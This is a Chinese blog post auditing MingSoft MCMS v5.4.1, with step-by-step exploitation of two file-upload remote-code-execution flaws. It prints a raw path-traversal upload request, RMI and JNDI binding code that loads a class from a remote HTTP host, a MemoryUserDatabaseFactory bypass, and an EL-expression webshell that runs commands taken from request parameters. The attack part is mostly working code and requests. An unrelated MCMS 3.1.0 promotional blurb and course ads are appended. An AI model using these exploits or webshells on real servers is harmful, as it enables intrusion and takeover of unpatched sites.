代码审计 - MCMS v5.4.1 0day挖掘

一、前言

MingSoft MCMS 是中国铭飞 (MingSoft) 公司的一个完整开源的 J2ee 系统,可以到 Github 下载到源码

笔者针对 MCMS v5.4.1 进行代码审计,发现存在一个后台 uploadTemplate 绕过限制上传 jsp 实现 rce,以及一个前台文件上传 rce,本文将对完整的漏洞挖掘与利用思路进行讲解

MCMS 的最新版本已更新到 5.4.2,且已对上述漏洞进行了修复

二、声明

该文章仅供学习用途使用,由于传播、利用此文所提供的信息或者工具而造成的任何直接或者间接的后果及损失,均由使用者本人负责,所产生的一切不良后果与文章作者无关

三、环境搭建

版本:MCMS v5.4.1,Release 5.4.1 · ming-soft/MCMS · GitHub9J5c8V1#2o6e0g2y4Q4x3V1k6J5k6h3I4W2j5i4y4W2M7#2)9J5c8Y4c8S2k6#2)9J5c8U0g2Q4x3X3f1@1i4K6u0W2x3b7%60.%60.)

打包成 war,使用 tomcat 搭建

image-20241207153841296

四、后台文件上传 CVE-2024-42990

该 CVE 编号已分配,但详细信息尚未公开

在后台找到文件上传的地方

image-20241207160733298

抓包,找到对应的路由 /ms-mcms/ms/file/uploadTemplate.do

上传一个 zip,里面包含着 jsp,会发现他提示

image-20241207161717939

说明他有一个地方在检查我们上传的文件,所以要找到这个地方,查看对应的代码逻辑

最后找到是在 FileVerifyAop.class

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
@Around ( "uploadPointCut()" )
     public Object uploadAop(ProceedingJoinPoint joinPoint) throws Throwable {
         UploadConfigBean bean = (UploadConfigBean) super .getType(joinPoint, UploadConfigBean. class );
         String uploadFileName = FileNameUtil.cleanInvalid(bean.getFile().getOriginalFilename());
         if (StringUtils.isBlank(uploadFileName)) {
             return ResultData.build().error( "文件名不能为空!" );
         } else {
             InputStream inputStream = bean.getFile().getInputStream();
             String mimeType = BasicUtil.getMimeType(inputStream, uploadFileName);
             if ( "zip" .equalsIgnoreCase(mimeType)) {
                 try {
                     this .checkZip(bean.getFile(), false );
                 } catch (Exception var7) {
                     return ResultData.build().error(var7.getMessage());
                 }
             }
 
             return joinPoint.proceed();
         }
     }

打下断点跟踪一下,判断后缀是 zip 之后会进入 checkZip 函数,跟进去看一下

image-20241207162653900

可以看到他是先解压出来,然后检测每个文件的后缀,如果后缀等于 jsp,就返回 jsp 不可以上传

所以我们需要绕过这个 checkzip。可以看到他进入 check 是需要他得到的后缀为 zip。我们跟进去看看他是如何 getMimeType

image-20241207163248472

可以发现他返回 fileType 之前还获取了 contentType,并重新对 fileType 进行了赋值,这是否意味着我们可以从这里进行控制返回的 fileType

我们跟进 parse 函数

image-20241207163750987

可以发现 type 从这里赋值了,我们进入 detect 函数

image-20241207164036121

type 在这里赋值了,继续跟进 detect 函数。这里是一个循环,要进入第二次循环的 detect

image-20241207164308857

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
public MediaType detect(InputStream input, Metadata metadata) throws IOException {
     List possibleTypes = null ;
     if (input != null ) {
         input.mark( this .getMinLength());
 
         try {
             byte [] prefix = this .readMagicHeader(input);
             possibleTypes = this .getMimeType(prefix);
         } finally {
             input.reset();
         }
     }
 
     String resourceName = metadata.get( "resourceName" );
     String name;
     if (resourceName != null ) {
         name = null ;
         boolean isHttp = false ;
 
         try {
             URI uri = new URI(resourceName);
             String scheme = uri.getScheme();
             isHttp = scheme != null && scheme.startsWith( "http" );
             String path = uri.getPath();
             if (path != null ) {
                 int slash = path.lastIndexOf( 47 );
                 if (slash + 1 < path.length()) {
                     name = path.substring(slash + 1 );
                 }
             }
         } catch (URISyntaxException var16) {
             name = resourceName;
         }
 
         if (name != null ) {
             MimeType hint = this .getMimeType(name);
             if (!isHttp || !hint.isInterpreted()) {
                 possibleTypes = this .applyHint(possibleTypes, hint);
             }
         }
     }
 
     name = metadata.get( "Content-Type" );
     if (name != null ) {
         try {
             MimeType hint = this .forName(name);
             possibleTypes = this .applyHint(possibleTypes, hint);
         } catch (MimeTypeException var14) {
         }
     }
 
     return possibleTypes != null && !possibleTypes.isEmpty() ? ((MimeType)possibleTypes.get( 0 )).getType() : MediaType.OCTET_STREAM;
}

这个函数最后返回的就是 possibleTypes,所以跟进这个 getMimeType

image-20241207164726273

发现他是通过文件的二进制数据进行判定是什么 type,在 eval 函数中通过数据来判别类型,识别完结果是这个

image-20241207165043610

这里就可以直接猜测,他识别的是文件头,即在上传的 zip 文件中,添加图片的文件头

image-20241207165112322

image-20241207165139089

可以看到结果发生了变化,回到起点看看

image-20241207165231645

image-20241207165242921

成功绕过了 checkzip 函数,然后尝试压缩一个 jsp 上传看看

image-20241207165819200

发现还是报这个错误,但是和前面的报的不一样,前面是这样的

image-20241207165902677

那就继续跟一下,发现是在 ManageFileAction.classuploadTemplate 路由同样有判断

image-20241207170044337

跟进到这个 getType 函数

image-20241207170359656

发现好像同样是由二进制数据判定的,那就往 jsp 文件中加入图片头

image-20241207170447834

然后上传压缩包

image-20241207170633251

最后访问 jsp 即可

image-20241207170648781

五、前台文件上传 CVE-2024-42991

该漏洞源于前端文件上传功能的不当处理,可能导致远程命令执行

方式一:上传 xml 修改 jsp 解析后缀

在 MCMS 的历史漏洞中,有一个前台文件上传。具体路由是 /static/plugins/ueditor/1.4.3.3/jsp/editor.do

经过开发者的修复,能上传的文件变得很有限,详见 ueditorconfig.json

/* 上传文件配置 */
    "fileActionName": "uploadfile", /* controller里,执行上传视频的action名称 */
    "fileFieldName": "upfile", /* 提交的文件表单名称 */
    "filePathFormat": "/ueditor/jsp/upload/file/{yyyy}{mm}{dd}/{time}{rand:6}", /* 上传保存路径,可以自定义保存路径和文件名格式 */
    "fileUrlPrefix": "", /* 文件访问路径前缀 */
    "fileMaxSize": 51200000, /* 上传大小限制,单位B,默认50MB */
    "fileAllowFiles": [
        ".png", ".jpg", ".jpeg", ".gif", ".bmp",
        ".flv", ".swf", ".mkv", ".avi", ".rm", ".rmvb", ".mpeg", ".mpg",
        ".ogg", ".ogv", ".mov", ".wmv", ".mp4", ".webm", ".mp3", ".wav", ".mid",
        ".rar", ".zip", ".tar", ".gz", ".7z", ".bz2", ".cab", ".iso",
        ".doc", ".docx", ".xls", ".xlsx", ".ppt", ".pptx", ".pdf", ".txt", ".md", ".xml"
    ], /* 上传文件格式显示 */

可以上传 xml 文件

如果环境是 Tomcat,就可以上传 web.xml 修改 Tomcat 解析 jsp 的后缀

<``servlet-mapping``>``  ``<``servlet-name``>jsp</``servlet-name``>``  ``<``url-pattern``>*.jsp</``url-pattern``>``  ``<``url-pattern``>*.jspx</``url-pattern``>``</``servlet-mapping``>

添加一个 .png 什么的,然后就可以 rce 了

如果再深挖一下,不修改 web.xml,还有什么方法可以进行 rce 呢?

方式二:从 jndi 到 rce

1. 实现 jndi

读过 lvyyevd 师傅的文章 tomcat下的文件上传RCE姿势 9K6b7g2)9J5c8W2)9J5c8Y4N6%4N6#2)9J5k6h3I4$3P5i4W2W2N6X3c8Q4x3X3g2U0L8W2)9J5c8X3q4J5j5$3S2A6N6X3g2K6i4K6u0r3N6r3!0E0j5$3q4@1i4K6t1#2c8e0c8Q4x3U0g2n7z5q4)9J5y4e0S2n7i4K6t1#2c8e0N6Q4x3U0f1&6b7g2)9J5y4e0R3@1i4K6t1#2c8e0k6Q4x3U0f1&6y4W2)9J5y4e0R3%4i4K6t1#2c8e0c8Q4x3U0g2n7b7W2)9J5y4f1t1$3i4K6t1#2c8e0c8Q4x3U0g2n7z5q4)9J5y4e0S2m8i4K6t1#2c8e0c8Q4x3U0g2n7b7#2)9J5y4f1p5H3M7X3y4W2i4K6t1#2c8e0g2Q4x3U0g2m8y4#2)9J5y4f1u0r3i4K6t1#2c8e0g2Q4x3U0f1^5b7g2)9J5y4f1u0r3),我们可以知道,能通过上传 xml 来实现 jndi

image-20241207174605220

hostConfigBase` 下的 xml 文件都会被 `digester` 解析一遍。也就是说我们可以把 xml 文件上传到 `hostConfigBase`。最后上传的目录为 `\conf\Catalina\localhost

xml 格式

<?``xml` `version``=``'1.0'` `encoding``=``'utf-8'``?>``<``Context``>``  ``<``Manager` `className``=``"com.sun.rowset.JdbcRowSetImpl"``       ``dataSourceName``=``"rmi://localhost:1099/remoteobj"``       ``autoCommit``=``"true"``></``Manager``>``</``Context``>

上传的 Post 请求,其中 url 解码完是 {filePathFormat:'/{.}./{.}./{.}.//conf/Catalina/localhost/8'}

POST /ms-mcms/static/plugins/ueditor/1.4.3.3/jsp/editor.do?jsonConfig=%7b%66%69%6c%65%50%61%74%68%46%6f%72%6d%61%74%3a%27%2f%7b%2e%7d%2e%2f%7b%2e%7d%2e%2f%7b%2e%7d%2e%2f%2f%63%6f%6e%66%2f%43%61%74%61%6c%69%6e%61%2f%6c%6f%63%61%6c%68%6f%73%74%2f%38%27%7d&action=uploadfile  HTTP/1.1
Host: 127.0.0.1:8079
Accept: */*
Accept-Encoding: gzip, deflate
Connection: close
Content-Length: 431
Content-Type: multipart/form-data; boundary=------------------------AuIwirENRLZwUJSzValDLkEbUhZbrxlJuvZrhFXA
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
X_Requested_With: UTF-8

--------------------------AuIwirENRLZwUJSzValDLkEbUhZbrxlJuvZrhFXA
Content-Disposition: form-data; name="upload"; filename="1.xml"

<?xml version='1.0' encoding='utf-8'?>
<Context>
    <Manager className="com.sun.rowset.JdbcRowSetImpl"
             dataSourceName="rmi://localhost:1099/remoteobj"
             autoCommit="true"></Manager>
</Context>
--------------------------AuIwirENRLZwUJSzValDLkEbUhZbrxlJuvZrhFXA--

本地启一个 rmi 服务,为 jndi 做准备

rmiserver

public` `class` `RMIServe {``  ``public` `static` `void` `main(String[] args) ``throws` `RemoteException, AlreadyBoundException {``    ``Person person=``new` `Person();``    ``Registry registry= LocateRegistry.createRegistry(``1099``);``    ``registry.bind(``"person"``,person);``  ``}``}

jndi 绑定对象

public` `static` `void` `main(String[] args) ``throws` `NamingException, RemoteException {``    ``InitialContext initialContext=``new` `InitialContext();``    ``Reference reference = ``new` `Reference(``"Test"``,``"Test"``,``"http://localhost:7777/"``);``    ``initialContext.rebind(``"rmi://localhost:1099/IMperson"``,reference);``  ``}

本地 Test 对象,就随便拿了一个弹计算器的对象。

import` `com.sun.org.apache.xalan.internal.xsltc.DOM;``import` `com.sun.org.apache.xalan.internal.xsltc.TransletException;``import` `com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;``import` `com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;``import` `com.sun.org.apache.xml.internal.serializer.SerializationHandler;``import` `java.io.IOException;` `public` `class` `Test ``extends` `AbstractTranslet {``  ``public` `Test() {``  ``}` `  ``public` `void` `transform(DOM document, SerializationHandler[] handlers) ``throws` `TransletException {``  ``}` `  ``public` `void` `transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) ``throws` `TransletException {``  ``}` `  ``static` `{``    ``try` `{``      ``Runtime.getRuntime().exec(``"calc"``);``    ``} ``catch` `(IOException var1) {``      ``throw` `new` `RuntimeException(var1);``    ``}``  ``}``}

在 class 对象中启一个 python 的 http 服务

上传文件,查看是否有 http 访问,发现并没有

image-20241208111059966

查看发现,是 jdk 版本太高的原因导致

image-20241208111153301

那就顺带做一个绕过

2. 实现 rce

jdk 版本高用的是 beanfactory,第一个想到的是 Tomcat 自带的依赖 org.apache.naming.factory.BeanFactory 中的 Reference 的 forceString 属性,再配合 ELProcessor 就能完成 rce。但当笔者实际实施的时候,发现还是不能成功,经过调试,发现笔者当前的 tomcat 版本好像移除了 forceString 属性,查看具体的代码。

image-20241208112222237

那还有什么其他的方法吗?浅蓝师傅总结了很多其他的 jndi 注入方法,翻一翻,发现 xxe 到 rce 的一个方法

其中的 org.apache.catalina.users.MemoryUserDatabaseFactory 会根据 pathname 去发起本地或者远程文件访问,并使用 commons-digester 解析返回的 XML 内容,所以这里可以 XXE

具体原理可以查看浅蓝师傅写的文章 探索高版本 JDK 下 JNDI 漏洞的利用方法9J5c8W2)9J5x3L8G2j5#2)9#2k6Y4N6W2j5Y4y4Z5k6h3I4D9),这里直接给出做法

首先要准备一个文件 test.jsp,文件内容如下

<?xml version="1.0" encoding="UTF-8"?>
<tomcat-users xmlns="http://tomcat.apache.org/xml"
              xmlns:xsi="http://http://www.w3.org/2001/XMLSchema-instance"
              xsi:schemaLocation="http://tomcat.apache.org/xml tomcat-users.xsd"
              version="1.0">
  <role rolename="&#x3c;%Runtime.getRuntime().exec(&#x22;calc&#x22;); %&#x3e;"/>
</tomcat-users>

然后 rmi 服务

public` `class` `RMIServe {``  ``public` `static` `void` `main(String[] args) ``throws` `RemoteException, AlreadyBoundException {``    ``Person person=``new` `Person();``    ``Registry registry= LocateRegistry.createRegistry(``1099``);``    ``registry.bind(``"person"``,person);``  ``}``}

jndi 绑定对象

import` `org.apache.naming.ResourceRef;` `import` `javax.naming.InitialContext;``import` `javax.naming.NamingException;``import` `javax.naming.Reference;``import` `javax.naming.StringRefAddr;``import` `java.rmi.RemoteException;` `public` `class` `mcms {``  ``public` `static` `void` `main(String[] args) ``throws` `NamingException, RemoteException {``    ``InitialContext initialContext=``new` `InitialContext();``    ``ResourceRef ref = tomcatWriteFile();``    ``initialContext.rebind(``"rmi://localhost:1099/remoteobj"``,ref);``  ``}``  ``private` `static` `ResourceRef tomcatWriteFile() {``    ``ResourceRef ref = ``new` `ResourceRef(``"org.apache.catalina.UserDatabase"``, ``null``, ``""``, ``""``,``        ``true``, ``"org.apache.catalina.users.MemoryUserDatabaseFactory"``, ``null``);``    ``ref.add(``new` `StringRefAddr(``"pathname"``, ``"http://127.0.0.1:8888/../../webapps/ROOT/test.jsp"``));``    ``ref.add(``new` `StringRefAddr(``"readonly"``, ``"false"``));``    ``return` `ref;``  ``}``}

找一个地方,创建 webapps 和 ROOT 目录,里面放上面的 test.jsp

image-20241208113612023

在 webapps 上级目录也就是上图的 mcms 目录下启动一个 http 服务,8888 端口。启动 rmi 服务,运行绑定对象

上传 xml 文件。同样是上面的 Post,不出意外会得到

image-20241208113741263

test.jsp 就写进到 ROOT 目录了,查看 test.jsp

image-20241208113843125

发现好像编码了,调试 tomcat 代码,发现 tomcat 版本高了,会对 xml 进行编码

image-20241208113920509

最后,将 test.jsp 的执行换成了 el 表达式

<?xml version='1.0' encoding='utf-8'?>
<tomcat-users xmlns="http://tomcat.apache.org/xml"
              xmlns:xsi="http://http://www.w3.org/2001/XMLSchema-instance"
              xsi:schemaLocation="http://tomcat.apache.org/xml tomcat-users.xsd"
              version="1.0">
  <role rolename="${pageContext.request.getClass().forName(param.n).getMethod(param.m).invoke(null).exec(param.code)}"/>
</tomcat-users>

重新执行上述流程

得到新的 jsp

image-20241208114137731

加入参数 n=java.lang.Runtime&m=getRuntime&code=calc,成功 rce

image-20241208114310283我一共划分了六个阶段,但并不是说你得学完全部才能上手工作,对于一些初级岗位,学到第三四个阶段就足矣~外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

这里我整合并且整理成了一份【282G】的网络安全从零基础入门到进阶资料包,需要的小伙伴可以扫描下方优快云官方合作二维码免费领取哦,无偿分享!!!

①网络安全学习路线
②上百份渗透测试电子书
③安全攻防357页笔记
④50份安全攻防面试指南
⑤安全红队渗透工具包
⑥HW护网行动经验总结
⑦100个漏洞实战案例
⑧安全大厂内部视频资源
⑨历年CTF夺旗赛题解析

MCMS 3.1.0更新说明: 1,增加自定义变量插件,前台调用 echo($C->vars['xxx']); 2,增加前台会员中心:修改资料、更换头像、订单查询、积分明细、修改密码、积分、会员投稿等 3,增加在线订单(单品订购,不带支付) 4,增加前台搜索 5,增加手机版独立域名 6,增加评论功能 7,增加删除上传文件同时删除空目录 注:此版本升级包涉及到新增模板部分的,为防止多次升级覆盖,升级包中不包含,请自行从安装包中拷贝   MCMS 手机建站之星是一款手机、电脑PC建站一体化、支持移动办公的内容管理系统,多级权限管理自由设置,精确到用户组和用户权限。 内置会员管理、友情链接、正文内链、广告管理、推荐位、独立专题、评论管理、资源管理、搜索词管理、数据库备份还原、在线编辑调整模板等丰富功能。   【MCMS的插件开发类型】 1,后台插件,需要在 /admin/plugins 增加一个插件目录,官方插件以gov.前缀开头如gov.oa,自行开发插件请以其他前缀开头,并且需要在 /core/plugs 增加一个以插件名开头的后台菜单文件   2,前台插件,分为2种 1)没有数据库结构,前台模板页以包含文件的形式包含一个文件即可 2)有数据库结构,需要增加 setup.php,data.sql文件进行数据库安装,其他为模板页需要包含的文件,并且处理程序也在该目录下   丰富功能傻瓜式操作 多级权限管理自由设置,精确到用户组和用户权限;内置会员管理、友情链接、正文内链、广告管理、推荐位、独立专题、评论管理、资源管理、搜索词管理、数据库备份还原、在线编辑调整模板等丰富功能。   电脑和手机一体式建站 支持PC和手机管理后台和前台页面,自动匹配手机浏览网站,利于移动搜索排名优化。大量手机模板可供选用和定制修改。   手机应用高端定制 企业网站转换手机应用,提升企业形象,定制功能提升销售能力和渠道 移动办公管理 强大的手机管理后台,网站管理随身携带,随时随地管理网站和发布信息 企业云链接 企业云链接功能支持友链一键添加,省却友链交换繁琐沟通的大量时间,助力网站搜索引擎优化 系统安全可靠 模板代码安全检测,输入数据严格验证,杜绝SQL注入XSS跨站攻击,后台安全多重验证 多模型超强可扩展性 支持扩展表模型和独立表模型,自定义表和字段的强大的扩展性使用户可以随时升级和定制自己的独特产品功能,每个企业的产品展示都可以根据产品特点做到独一无二的展示方式 门户级网站数据支持 数据库优化支持百万级数据毫秒显示,缓存机制支持更大网站访问并发量 专业技术团队支持 专业的PHP和MYSQL优化技术团队,随时为MCMS使用者提供技术支持保障       相关阅读 同类推荐:企业网站源码
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值